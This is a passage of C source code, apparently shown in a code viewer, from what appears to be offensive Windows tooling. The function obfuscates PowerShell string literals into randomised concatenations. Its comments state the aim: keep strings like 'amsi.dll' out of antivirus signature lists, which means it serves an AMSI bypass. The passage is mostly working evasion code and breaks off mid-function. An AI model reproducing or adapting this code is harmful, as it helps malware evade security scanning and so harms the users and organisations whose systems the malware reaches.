| 189 | } |
| 190 | } |
| 191 | VOID ObfuscateStringLiterals(LPWSTR command) |
| 192 | { |
| 193 | // Replace all string literals like |
| 194 | // `thestring` |
| 195 | // with something like |
| 196 | // 't'+[Char]123+[Char]45+'s' ... |
| 197 | |
| 198 | // Polymorphic modifications of strings is required, because something static like |
| 199 | // 'ams'+'i.dll' |
| 200 | // will eventually end up in a list of known signatures. |
| 201 | |
| 202 | PWCHAR newCommand = NEW_ARRAY(WCHAR, 16384); |
| 203 | i_wmemset(newCommand, 0, 16384); |
| 204 | |
| 205 | LPBYTE random = NEW_ARRAY(BYTE, 16384); |
| 206 | if (!GetRandomBytes(random, 16384)) return; |
| 207 | |
| 208 | LPWSTR commandPtr = command; |
| 209 | LPBYTE randomPtr = random; |
| 210 | |
| 211 | for (LPWSTR beginQuote; beginQuote = StrChrW(commandPtr, L'`');) |
| 212 | { |
| 213 | LPWSTR endQuote = StrChrW(&beginQuote[1], L'`'); |
| 214 | DWORD textLength = beginQuote - commandPtr; |
| 215 | DWORD stringLength = endQuote - beginQuote - 1; |
| 216 | |
| 217 | // beginQuote endQuote |
| 218 | // | | |
| 219 | // v v |
| 220 | // .Invoke(`amsi.dll`); |
| 221 | // ^------^ <-- textLength |
| 222 | // ^------^ <-- stringLength |
| 223 | |
| 224 | // Append what's before the beginning quote. |
| 225 | StrNCatW(newCommand, commandPtr, textLength + 1); |
| 226 | |
| 227 | // Append beginning quote. |
| 228 | StrCatW(newCommand, L"'"); |
| 229 | |
| 230 | // Append each character using a different obfuscation technique. |
| 231 | for (DWORD i = 0; i < stringLength; i++) |
| 232 | { |
| 233 | WCHAR c = beginQuote[i + 1]; |
| 234 | WCHAR charNumber[10]; |
| 235 | Int32ToStrW(c, charNumber); |
| 236 | |
| 237 | WCHAR obfuscatedChar[20]; |
| 238 | i_wmemset(obfuscatedChar, 0, 20); |
| 239 | |
| 240 | // Randomly choose an obfuscation technique. |
| 241 | switch ((*randomPtr++) & 3) |
| 242 | { |
| 243 | case 0: |
| 244 | // Put char as literal |
| 245 | obfuscatedChar[0] = c; |
| 246 | break; |
| 247 | case 1: |
| 248 | // Put char as '+'x'+' |
no test coverage detected